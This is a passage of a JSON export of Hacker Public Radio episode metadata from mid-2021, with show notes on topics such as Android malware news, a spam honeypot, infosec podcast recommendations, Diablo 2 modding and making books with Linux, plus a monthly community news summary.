                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Keras, scitkit-learn, neural networks, Mars, Twix, Limitless, Life","version":0,"downloads":0,"valid":1}, {"id":3360,"date":"2021-06-18","title":"Android Malware Alert","duration":665,"summary":"A look at some security issues in Android","notes":"

                                                            A type of malware nicknamed Joker has been infecting Android devices. In this episode we dig a little deeper into what this is and how it works.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Android, malware","version":0,"downloads":0,"valid":1}, {"id":3361,"date":"2021-06-21","title":"2020-2021 New Years Eve Show Episode 6","duration":12738,"summary":"the hpr community stops by for a chat","notes":"

                                                            Welcome to the 9th Annual Hacker Public Radio New Years Eve Show

                                                            \n
                                                              \n
                                                            • Vaccines

                                                            • \n
                                                            • Discussion about the movies: Jumanji, Wizard of Oz.

                                                            • \n
                                                            • Discussion about facebook, whatsapp, and social networks.

                                                            • \n
                                                            • Filk

                                                            • \n
                                                            • Performance of \"Alice the first woman on the moon\" written by Blind Lemon Chiffon.

                                                            • \n
                                                            • podcasting

                                                            • \n
                                                            • Dungeons and Dragons talk

                                                            • \n
                                                            • History

                                                            • \n
                                                            • staying awake for many hours

                                                            • \n
                                                            • geography

                                                            • \n
                                                            • geology

                                                            • \n
                                                            • languages

                                                            • \n
                                                            • food

                                                            • \n
                                                            • minecraft

                                                            • \n
                                                            • schools

                                                            • \n
                                                            • language

                                                            • \n
                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR,community,new years eve","version":0,"downloads":0,"valid":1}, {"id":3362,"date":"2021-06-22","title":"Spam Bot Honey Pot: Eating your own dog food","duration":1148,"summary":"Reviewing some stats and the accessibility by screen reader of this spam filter method.","notes":"

                                                            \nIn this episode, I revisit my spam bot honey pot method of spam detection for \nweb forms. The first part of the episode is a response to rtsn comment asking \nfor a follow up on how the method worked out. In the second part of the podcast \nI use the built-in screen reader of my Pop_OS system to review my test form and \nmy work form for audible accessibility and to check that the spam catching URL \nfield is not reveled by a screen reader. \n

                                                            \n

                                                            \nFor my work site, I pushed the spam catcher to production on 16 February 2021. \nThe total submitted form messages from that day until today, 29 May 2021, is 661.\nOf the total submitted, the method identified 527 spam messages, and passed \nalong 134 messages. Of those 134, 38 messages were uncaught spam--while the \nremaining 96 messages were valid inquiries. Overall, it seems to be doing a \ngood job. At one point, I thought about closing down the form, but the data \ndoes show we are receiving enough valid messages to make it worth keeping around \nand this method makes finding the good messages much easier.\n

                                                            \n

                                                            \nDuring the second part of the podcast, I find using a screen reader, like any \ntool, takes some practice. It also reveals that making a form audibly accessible \ndoes take some care, and should be reviewed with a screen reader. My method \nfor hiding the honey pot URL field from the screen reader was effective, but my \noverall implementation to make it accessible needs more work.\n

                                                            ","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Spam,HTML,Forms,accessibility,screen reader","version":0,"downloads":0,"valid":1}, {"id":3363,"date":"2021-06-23","title":"Electronics podcasts I listen to","duration":319,"summary":"I go over the 4 electronics podcasts I am currently listening to.","notes":"

                                                            Electronics podcasts

                                                            \n
                                                              \n
                                                            1. Hackaday podcast

                                                              \n

                                                              Hackaday Editors take a look at all of the interesting uses of technology that pop up on the internet each week. Topics cover a wide range like bending consumer electronics to your will, designing circuit boards, building robots, writing software, 3D printing interesting objects, and using machine tools. Get your fix of geeky goodness from new episodes every Friday morning.

                                                              \n

                                                              Ep 117: Chiptunes in an RCA Plug, an Arduino Floppy Drive, $50 CNC, and Wireless Switches

                                                              \n

                                                              https://hackaday.libsyn.com/ep-117-chiptunes-in-an-rca-plug-an-arduino-floppy-drive-50-cnc-and-wireless-switches

                                                            2. \n
                                                            3. Embedded.fm

                                                              \n

                                                              Embedded.fm is a site dedicated to the many aspects of engineering. We talk about the how, why, and what of engineering, usually devices.

                                                              \n

                                                              The site includes a weekly audio show created and hosted by Elecia White and Christopher White. Our guests include makers, entrepreneurs, educators, and normal, traditional engineers. The show is a product of Logical Elegance, an embedded software consulting company.

                                                              \n

                                                              The site also includes a blog written by Elecia White, Christopher White, Andrei Chichak, and Chris Svec.

                                                              \n

                                                              https://embedded.fm/about-us

                                                              \n

                                                              371: All Martian Things Considered

                                                              \n

                                                              https://embedded.fm/episodes/371

                                                              \n

                                                              The best paper for learning more is from NASA’s JPL site:
                                                              \nThe Mars Science Laboratory Engineering Cameras
                                                              \nhttps://www-robotics.jpl.nasa.gov/publications/Mark_Maimone/fulltext.pdf

                                                              \n

                                                              Mars rovers wiki
                                                              \nhttps://en.wikipedia.org/wiki/Mars_rover

                                                              \n

                                                              142: New and Improved Appendages

                                                              \n

                                                              Sarah is a kinetic artist and some of her projects include a robot army (built your own from parts printed out or purchased at robot-army.com) https://robot-army.com/

                                                            4. \n
                                                            5. The Amp Hour Electronics Podcast

                                                              \n

                                                              Dave Jones from the EEVblog in Sydney (Australia), and Chris Gammell from Contextual Electronics in Chicago (USA) discuss the world of electronics design in an hour long(ish) weekly show, recorded “live” without editing or a mute button! We are also joined every other week by guests throughout the electronics industry.

                                                              \n

                                                              The Amp Hour is a non-scripted off-the-cuff format show that usually airs every Sunday evening US time (recorded earlier in the week). It is the worlds largest and most respected electronics oriented radio show. Discussions range from hobbyist electronics to the state of the electronics industry, components, circuit design, and general on and off-topic rants.

                                                              \n

                                                              https://theamphour.com/about

                                                              \n

                                                              https://theamphour.com/the-amp-hour-539-the-king-of-trash-with-big-clive

                                                              \n

                                                              Youtube channel: bigclivedotcom

                                                              \n

                                                              https://www.youtube.com/user/bigclivedotcom

                                                            6. \n
                                                            7. The Contextual Electronics Podcast

                                                              \n

                                                              The CE Podcast is a video and audio podcast that posts twice per month. We discuss more than how electronics work and talk to our guests about why they are building them in the first place. we cover topics inside and outside the field of electronics and try to bring more context to the field.

                                                              \n

                                                              CEP012 – Mixed Media with Becky Stern

                                                              \n

                                                              https://contextualelectronics.com/cep012-mixed-media-with-becky-stern

                                                              \n

                                                              Becky is an artist and content producer who works electronics into projects using a wide variety of media and construction techniques. Becky also teaches a class on electronics at SVA in NYC. She is a product manager at Instructables.

                                                            8. \n
                                                            \n","hostid":318,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"electronics, robots, space exploration, engineering","version":0,"downloads":0,"valid":1}, {"id":3364,"date":"2021-06-24","title":"Part One - all the covid crap","duration":99,"summary":"My new coffee pot, covid motivation","notes":"

                                                            So, I'm currently listening to the \"Feedback on the Article\" show, and am feeling like I should contribute a show.

                                                            \n

                                                            A long time ago now, I bought a new coffee machine for home, on the basis that I was going to be working from home for a while, and I was really missing my daily hits of actual coffee. I drink maybe four or five cups a day, depending on how early I get into work. I do try to have all this coffee in the morning, and am pretty good at not having any after lunch.

                                                            \n

                                                            Now, I do need to recognise where I am, Australia, overall we've had a pretty good response to covid, fatalities have been very low by world standards. Having said that, I live in the part of Australia that has had the largest number and by far, longest lockdowns. Our longest one was 112 days.

                                                            \n

                                                            I've also travelled back home, and got caught in a lockdown in my home state of Queensland over Christmas.

                                                            \n

                                                            Eventually, the lockdowns ended, we were allowed go back to work, and I started using my home coffee machine less and less, and I lost motivation to do this show.

                                                            \n

                                                            Then, of course, we had another inevitable hotel quarantine leak, and that spread to Victoria, we're now looking at a breakout of around sixty cases and Victoria is back on lockdown so this is my fifth lockdown, and I'm back to working from home, and once again, I'm appreciating my new coffee pot, and once again I have motivation to do a story on it.

                                                            \n

                                                            What I really want to do is to disentangle the two topics, this episode will deal with all the covid stuff, the second episode will only deal with coffee.

                                                            \n

                                                            So this covid rant ends here, and now I need to start writing the script for the second part of the show, before lockdown ends..

                                                            \n","hostid":315,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"covid19,coffee","version":0,"downloads":0,"valid":1}, {"id":3365,"date":"2021-06-25","title":"Diablo 2 Portable and Modding","duration":452,"summary":"I talk about Diablo 2 and modding","notes":"

                                                            \nDiablo II\n

                                                            \n

                                                            \nDiablo II is an action role-playing hack-and-slash computer video game developed by Blizzard North and published by Blizzard Entertainment in 2000 for Microsoft Windows, Classic Mac OS, and macOS. The game, with its dark fantasy and horror themes, was conceptualized and designed by David Brevik and Erich Schaefer, who, with Max Schaefer, acted as project leads on the game. The producers were Matthew Householder and Bill Roper. The game was developed over a 3 year period, with a crunch time of 1.5 years long\n

                                                            \n\n

                                                            \nSearch for \"Registry patch diablo 2\", \"borderless gaming diablo 2\"\n

                                                            \n\n

                                                            \nPlugY
                                                            \nPlugY is a mod whose primary purpose is to increase the stash size for Diablo II characters. Over the years it has grown to include numerous other useful functions, such as enabling Ladder Only Rune Words outside of the Battle.net Ladder, enabling the Uber quests outside of Battle.net and various other small tweaks and additions. PlugY is not a conversion of the original Diablo, and it doesn't alter gameplay by changing monster stats, skills, maps or items. \n

                                                            \n\n

                                                            \nmedian xl
                                                            \nThe most popular Diablo II overhaul modification, Median XL is an action RPG with extensive endgame content, deep character customisation and challenging gameplay. It offers thousands of new items, new skills for all classes, and multiple improvements to the Diablo II engine.\n

                                                            ","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"diablo 2,video games,gaming,modding,hacking,median xl,plug y","version":0,"downloads":0,"valid":1}, {"id":3366,"date":"2021-06-28","title":"2020-2021 New Years Eve Show Episode 7","duration":9803,"summary":"the hpr community stops by for a chat","notes":"

                                                            Welcome to the 9th Annual Hacker Public Radio New Years Eve Show

                                                            \n
                                                              \n
                                                            • language

                                                            • \n
                                                            • the murmur server (that was originally run by John Neusteter)

                                                            • \n
                                                            • mintcast

                                                            • \n
                                                            • Linux

                                                            • \n
                                                            • Some chatter about home packing and selling. Struggles with packing and finding places to move to out in the 'country'.

                                                            • \n
                                                            • Free movement and Irish passports

                                                            • \n
                                                            • D'n'D talk. The absence of Klaatu.

                                                            • \n
                                                            • The current mumble server for this New year show is probably going to go away after this year.

                                                            • \n
                                                            • Mordancy makes shirts

                                                            • \n
                                                            • Dave talks about his recipe database

                                                            • \n
                                                            • how the HPR shows get posted

                                                            • \n
                                                            • audio books

                                                            • \n
                                                            • Legos

                                                            • \n
                                                            • Electricity is fun

                                                            • \n
                                                            • fun streaming video

                                                            • \n
                                                            • storage

                                                            • \n
                                                            • video game emulation

                                                            • \n
                                                            • Joe fixes headphones (were all shocked)

                                                            • \n
                                                            • weather

                                                            • \n
                                                            • Hunting

                                                            • \n
                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR,community,new years eve","version":0,"downloads":0,"valid":1}, {"id":3367,"date":"2021-06-29","title":"Making books with linux - part 1","duration":3367,"summary":"A discussion about assembling books using simple tools commonly found in most linux distros.","notes":"

                                                            Andrew and Dave describe a common itch they have been scratching. Andrew talks through his approach to document creation in this episode and Dave will describe his in the next episode.

                                                            \n

                                                            Andrew was inspired by a simple and elegant approach to eBook creation by Jon Kulp, possibly from listening to HPR 1909 several years ago.

                                                            \n

                                                            In Andrew's approach, bash and python scripts assemble various text files into the book, inserting figures and tables using a simple home-brew tag system to generate reference numbers such as Figure 3.7 or Table 2.2. Such auto-numbering functionality is of course provided by many other document authoring systems, such as LaTeX, but the script also uses the tags to hunt down data in CSV files and convert them into the figures. In this way, nearly all information in the book can start off as text and then be processed into anything — prose, graphics, sound or even movies — that can be included with HTML. Also a clean separation between content and appearance is kept by using a CSS file.

                                                            \n

                                                            This is not WYSIWYG (what you see is what you get) but using the entr command to monitor file changes can allow auto-generation of the HTML and even a browser refresh (using a feature found in Midori and Falkon but not many other browsers).

                                                            \n

                                                            Dave describes how he achieves something similar to what Andrew has created by using make to co-ordinate the processing. The process of compiling the source text files into a final document does have some similarities with code compilation.

                                                            \n

                                                            Dave and Andrew discuss how useful their methods might be to others. Some of Andrew's scripts are too bespoke to his use for wider consumption but the figure processing code is available online as part of the content and code of his book How Scotland Works.

                                                            \n

                                                            Andrew describes the horror of the suggestion that a non-fiction book does not need an index which prompted him to create his simple code to generate an index from a PDF. This was also motivated by laziness and a reluctance to read his own writing for the umpteenth time. Andrew then describes how this code works. The code itself can be found here.

                                                            \n

                                                            Dave brings up the issue of other formats such as epub which have no concept of pages, or at least do not insist on it natively.

                                                            \n

                                                            The discussion moves on to other tools for document and text processing that are relevant to the tasks involved such as pandoc, LaTex and ASCIIdoc. In particular, Dave mentions that the \"look\" of LaTeX is simpler to control these days, at least as compared to the 1990s!

                                                            \n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux,books,ebooks,scripts","version":0,"downloads":0,"valid":1}, {"id":3368,"date":"2021-06-30","title":"Infosec Podcasts Part 4 - Social Engineering Podcasts","duration":417,"summary":"Presenting my favorite information security podcasts which focus on social engineering","notes":"

                                                            Inoffensive in every region of the world

                                                            \n

                                                            Special thanks to Thaj for sharing \"Audio for Podcasting: Episode 2 - Equalization\" (HPR3345 - https://hackerpublicradio.org/eps.php?id=3345 ). I will be trying to apply some of his advice in this recording.

                                                            \n

                                                            In case you have not heard my previous episodes, this introduction may be helpful. If you have already listened to my previous 3 episodes, I apologize for this sounding redundant.

                                                            \n

                                                            Why am I recording this series?

                                                            \n

                                                            As I reviewed the HPR List of Recommended Topics, \"What podcasts you listen to\" jumped off the screen at me.

                                                            \n

                                                            I am passionate about information security

                                                            \n

                                                            We desperately need people to fill infosec jobs in many different specialties, including

                                                            \n

                                                            Security operations, engineering, & architecture

                                                            \n

                                                            Governance Risk, & Compliance

                                                            \n

                                                            Application Security

                                                            \n

                                                            Security Education

                                                            \n

                                                            More...

                                                            \n

                                                            Infosec is a rapidly changing field, and it is critical to stay current

                                                            \n

                                                            As a result I listen to TONS of infosec related podcasts

                                                            \n

                                                            Because there are so many podcasts to list, I have broken them down into 6 different episodes based on topics:

                                                            \n
                                                              \n
                                                            • Part 1 - News & Current Events
                                                            • \n
                                                            • Part 2 - General Information Security
                                                            • \n
                                                            • Part 3 - Career & Personal Development
                                                            • \n
                                                            • Part 4 - Social Engineering
                                                            • \n
                                                            • Part 5 -\n
                                                                \n
                                                              • Hacks & Attacks
                                                              • \n
                                                              • Technical Information & Learning
                                                              • \n
                                                              • Infosec Community / Social / History
                                                              • \n
                                                            • \n
                                                            • Part 6 - Infosec Leadership
                                                            • \n
                                                            \n

                                                            Part 4

                                                            \n

                                                            Social Engineering

                                                            \n

                                                            Note: Social Engineering has a special place in my heart. In a previous life, I developed and ran the security awareness program for a large organization. I based the program on many of the threats we experienced on a daily basis, and the challenges users encountered, and sometimes fell for. As a result, much of the material addressed detecting and reporting social engineering attacks.

                                                            \n
                                                              \n
                                                            • Hacking Humans - Dave Bittner & Joe Kerrigan – Sponsored by Know B4 (Weekly)
                                                              \nA weekly podcast about social engineering
                                                              \nhttps://thecyberwire.com/podcasts/hacking-humans.html

                                                            • \n
                                                            • The Social Engineer Podcast - Chris Hadnagy & social-engineer.org (Was Monthly, increasing frequency)
                                                              \nA deep dive into the science, psychology, and application of social engineering
                                                              \nChris also runs the Social engineering Village at Defcon.
                                                              \nBooks:
                                                              \n

                                                              \n
                                                            • \n
                                                            • The PRIVACY, SECURITY, & OSINT Show – Michael Bazzell (Weekly)
                                                              \nMichael Bazzell books:
                                                              \n

                                                              \n
                                                                \n
                                                              • Open Source Intelligence Techniques (Just released 8th Edition)
                                                                \n
                                                              • \n
                                                              • Extreme Privacy (3rd Edition)
                                                                \nIdeas to help you become digitally invisible, stay secure from cyber threats, and make you a better online investigator
                                                                \n
                                                                \nhttps://www.inteltechniques.com/podcast.html
                                                              • \n
                                                            • \n
                                                            \n","hostid":394,"series":75,"explicit":0,"license":"CC-BY-SA","tags":"infosec, podcasts, security, social engineering","version":0,"downloads":0,"valid":1}, {"id":3369,"date":"2021-07-01","title":"Linux Inlaws S01E33: The Return of the Rust","duration":3869,"summary":"A show with Steve Klabnik on corroded metal, hipster programming languages and the analogue world","notes":"

                                                            In this episode - aptly named \"The return of the Rust\" our two heroes host\na very special guest: no other than Steve Klabnik of Rust fame himself.\nNeedless to say, this hipster programming language which is on everbody's mind\nat the moment (apart maybe from a few lost souls still crying over spilled\ncoffee) plays a very important role in this show in addition to the newly\nfounded Rust Foundation hosting such eclectic members such as Microsoft,\nMozilla, Google and Facebook just to name a few looking after the language.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Rust, actix, unsafe code, bulleted lists, pubs, OpenSearch","version":0,"downloads":0,"valid":1}, {"id":3370,"date":"2021-07-02","title":"More Free Images?","duration":869,"summary":"We look at some more free photo sites to see if they are really free","notes":"

                                                            This tutorial adds to our discussion of freely usable photos by looking at a list compiled on the blog of a marketing site Twenty Over Ten. They gave us their top 15 sites, but can I recommend them unreservedly? Not necessarily, you have to dig into each one of them to get to the truth.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"Stock Photos, Creative Commons, Free Photos","version":0,"downloads":0,"valid":1}, {"id":3371,"date":"2021-07-05","title":"HPR Community News for June 2021","duration":3988,"summary":"Dave and Ken talk about shows released and comments posted in June 2021","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3347Tue2021-06-01Ethical Analysis of Renewable Energy and ConservationPaul Quirk
                                                            3348Wed2021-06-02Feedback on the Article by hedorah about HPRKen Fallon
                                                            3349Thu2021-06-03Linux Inlaws S01E31: Interview with Paul Ramsey FOSS aficionado and entrepreneurmonochromec
                                                            3350Fri2021-06-04Blending LayersAhuka
                                                            3351Mon2021-06-07HPR Community News for May 2021HPR Volunteers
                                                            3352Tue2021-06-08HPR 2020 - 2021 New Years Eve Show Episode 4Honkeymagoo
                                                            3353Wed2021-06-09My terminal journey, part 01.Some Guy On The Internet
                                                            3354Thu2021-06-10My Devicesoperat0r
                                                            3355Fri2021-06-11Tiki Helloperat0r
                                                            3356Mon2021-06-14HPR 2020 - 2021 New Years Eve Show Episode 5Honkeymagoo
                                                            3357Tue2021-06-15My terminal journey, part 02.Some Guy On The Internet
                                                            3358Wed2021-06-16BlastEm! A wicked awesome Sega Genesis/Megadrive emulatorsigflup
                                                            3359Thu2021-06-17Linux Inlaws S01E32: Politicians and artificial intelligence part 3monochromec
                                                            3360Fri2021-06-18Android Malware AlertAhuka
                                                            3361Mon2021-06-21HPR 2020 - 2021 New Years Eve Show Episode 6Honkeymagoo
                                                            3362Tue2021-06-22Spam Bot Honey Pot: Eating your own dog foodRho`n
                                                            3363Wed2021-06-23Electronics podcasts I listen toArcher72
                                                            3364Thu2021-06-24Part One - all the covid crapClinton Roy
                                                            3365Fri2021-06-25Diablo 2 Portable and Moddingoperat0r
                                                            3366Mon2021-06-28HPR 2020 - 2021 New Years Eve Show Episode 7Honkeymagoo
                                                            3367Tue2021-06-29Making books with linux - part 1Andrew Conway
                                                            3368Wed2021-06-30Infosec Podcasts Part 4 - Social Engineering PodcastsTrey
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 7 comments on\n5 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3263\n(2021-02-03) \"My Beginnings in Tech\"\nby o9l.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\narcher72 on 2021-06-03:\n\"Welcome to HPR\"

                                                              \n
                                                            • hpr3329\n(2021-05-06) \"Linux Inlaws S01E29: The (one and only) Linux Kernel Contributor Panel\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2021-06-05:\n\"Who ?\"

                                                              \n
                                                            • hpr3342\n(2021-05-25) \"HPR 2020 - 2021 New Years Eve Show Episode 2\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\ncrvs on 2021-06-24:\n\"thank you for the reminder\"

                                                              \n
                                                            • hpr3343\n(2021-05-26) \"The Forth programming language\"\nby Brian in Ohio.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ncagey on 2021-06-02:\n\"My experience with Forth (at SAO)\"
                                                              • \n
                                                              • \nComment 2:\nDave Morriss on 2021-06-06:\n\"What does SAO stand for?\"

                                                              \n
                                                            • hpr3345\n(2021-05-28) \"Audio for Podcasting: Episode 2 - Equalization\"\nby Thaj Sara.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\narcher72 on 2021-06-03:\n\"Another great episode.\"
                                                              • \n
                                                              • \nComment 2:\nTrey on 2021-06-08:\n\"Thank you.\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 16 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr3348\n(2021-06-02) \"Feedback on the Article by hedorah about HPR\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHawkinsTheWizard on 2021-06-02:\n\"hpr3348 feedback\"
                                                              • Comment 2:\nDave Morriss on 2021-06-02:\n\"I was trying to remember \"This American Life\"\"

                                                              \n
                                                            • hpr3352\n(2021-06-08) \"HPR 2020 - 2021 New Years Eve Show Episode 4\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"

                                                              \n
                                                            • hpr3353\n(2021-06-09) \"My terminal journey, part 01.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nFXB on 2021-06-09:\n\"Good listening.\"
                                                              • Comment 2:\njezra on 2021-06-09:\n\"Hey, that's how I learned!\"
                                                              • Comment 3:\nTrey on 2021-06-11:\n\"Well done! Keep up the great work!\"
                                                              • Comment 4:\narcher72 on 2021-06-11:\n\"Good to hear this one\"
                                                              • Comment 5:\nSome Guy On The Internet on 2021-06-16:\n\"Giving Thanks.\"
                                                              • Comment 6:\nsesamemucho on 2021-06-19:\n\"Nice\"
                                                              • Comment 7:\nfrank on 2021-06-30:\n\"Comments and feedback on your show (part 1)\"
                                                              • Comment 8:\nfrank on 2021-06-30:\n\"Comments and feedback on your show (part 2)\"

                                                              \n
                                                            • hpr3356\n(2021-06-14) \"HPR 2020 - 2021 New Years Eve Show Episode 5\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"
                                                              • Comment 2:\nKevin O'Brien on 2021-06-14:\n\"Nice show, but too long\"

                                                              \n
                                                            • hpr3357\n(2021-06-15) \"My terminal journey, part 02.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbjb on 2021-06-29:\n\"hpr3357 :: My terminal journey, part 02. - feedback/comment\"

                                                              \n
                                                            • hpr3361\n(2021-06-21) \"HPR 2020 - 2021 New Years Eve Show Episode 6\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"

                                                              \n
                                                            • hpr3366\n(2021-06-28) \"HPR 2020 - 2021 New Years Eve Show Episode 7\"\nby Honkeymagoo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-June/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Condolences

                                                            \n

                                                            Our deepest condolences to Randy Noseworthy on the loss of his wife.

                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            This month 100 additional shows in the range 1-870 have been uploaded.

                                                            \n

                                                            Since we don't want to upload shows without summaries or tags the old shows and tag and summary projects are now tied together. So we will be all the more welcoming of tag and summary updates submitted as described on the summary page.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month:
                                                            \nArcher72, Dave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 82 shows which were without them.

                                                            \n

                                                            There are now 295 shows which need a summary and/or tags.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3372,"date":"2021-07-06","title":"2020-2021 New Years Eve Show Episode 8","duration":5947,"summary":"the hpr community stops by for a chat","notes":"

                                                            Welcome to the 9th Annual Hacker Public Radio New Years Eve Show

                                                            \n
                                                              \n
                                                            • Hunting

                                                            • \n
                                                            • food

                                                            • \n
                                                            • cpap machines

                                                            • \n
                                                            • Music

                                                            • \n
                                                            • Audio books

                                                            • \n
                                                            • podcasts

                                                            • \n
                                                            • Archive.org is great (support if possible please)

                                                            • \n
                                                            • Moss has a fun 2020

                                                            • \n
                                                            • Politics

                                                            • \n
                                                            • Health care

                                                            • \n
                                                            • grey hat

                                                            • \n
                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR,community,new years eve","version":0,"downloads":0,"valid":1}, {"id":3373,"date":"2021-07-07","title":"HPR RPG Club reviews Starfinder","duration":5175,"summary":"Starfinder is a sci-fi RPG using Dungeons & Dragons 3.5 rules","notes":"

                                                            \nYou can purchase Starfinder directly from Paizo, and you can usually find Starfinder Society play at your friendly local game store.\n

                                                            \n\n

                                                            \nThe alternate starship combat rules mentioned in this episode are available from drivethrurpg.com (warning: this is an affiliate link, but any purchases made through it provide Klaatu with store credit so he can buy more RPG books for future HPR Club reviews).\n

                                                            \n","hostid":78,"series":95,"explicit":1,"license":"CC-BY-SA","tags":"rpg, cyberpunk, science fiction","version":0,"downloads":0,"valid":1}, {"id":3374,"date":"2021-07-08","title":"Why I love the MacBook Mid 2010","duration":1431,"summary":"I talk about the upgrades I made to the machine and how it's benefited me since I got it","notes":"

                                                            The upgrades made to the machine were a 500 GB ssd, 16 GB of ram, and went from El Capitan to Catalina.

                                                            ","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"technology,Apple,MacBook,laptop","version":0,"downloads":0,"valid":1}, {"id":3375,"date":"2021-07-09","title":"Car ODB2 Fun and Fail","duration":617,"summary":"I try to figure out ODB2 stuff again","notes":"

                                                            \nOn-board diagnostics (OBD)
                                                            \nFrom Wikipedia, the free encyclopedia
                                                            \nOn-board diagnostics (OBD) is an automotive term referring to a vehicle's self-diagnostic and reporting capability. OBD systems give the vehicle owner or repair technician access to the status of the various vehicle sub-systems. The amount of diagnostic information available via OBD has varied widely since its introduction in the early 1980s versions of on-board vehicle computers. Early versions of OBD would simply illuminate a malfunction indicator light or \"idiot light\" if a problem was detected but would not provide any information as to the nature of the problem. Modern OBD implementations use a standardized digital communications port to provide real-time data in addition to a standardized series of diagnostic trouble codes, or DTCs, which allow a person to rapidly identify and remedy malfunctions within the vehicle. \n

                                                            \n

                                                            \nTorque Pro (OBD 2 and Car)
                                                            \nSee what your car is doing in realtime, get OBD fault codes, car performance, sensor data and more!\nTorque is a vehicle / car performance / diagnostics tool and scanner that uses an OBD II Bluetooth adapter to connect to your OBD2 engine management / ECU\n

                                                            \n

                                                            \nForum Thread\n

                                                            \n

                                                            \nSearch on NicoClub.com for Infinity Manuals\n

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"car,auto,odb2","version":0,"downloads":0,"valid":1}, {"id":3376,"date":"2021-07-12","title":"Making books with Linux - part 2","duration":2919,"summary":"Part 2 of a discussion about how two HPR hosts create books","notes":"

                                                            Hosts

                                                            \n\n

                                                            Handling incoming HPR shows

                                                            \n
                                                              \n
                                                            • Dave, with his Janitor hat on\n
                                                                \n
                                                              • Processes incoming notes, to generate HTML
                                                              • \n
                                                              • Plain text is turned to Markdown. Otherwise various Markdown flavours are acceptable, or an HTML5 fragment
                                                              • \n
                                                              • If images are included the Markdown can refer to them with URLs such as: https://hackerpublicradio.org/eps/hprNNNN/name.jpg\n
                                                                  \n
                                                                • The hprNNNN element is a directory using the number you chose for your show.
                                                                • \n
                                                                • In the directory will be the images you sent.
                                                                • \n
                                                                • Other assets will go there too so you can refer to these in your notes as well.
                                                                • \n
                                                                • If you’re sending plain text, then markers such as >> Picture name.jpg here << will let me make the appropriate Markdown.
                                                                • \n
                                                              • \n
                                                              • The directory also needs an index.html file, but my scripts will generate this if needed.
                                                              • \n
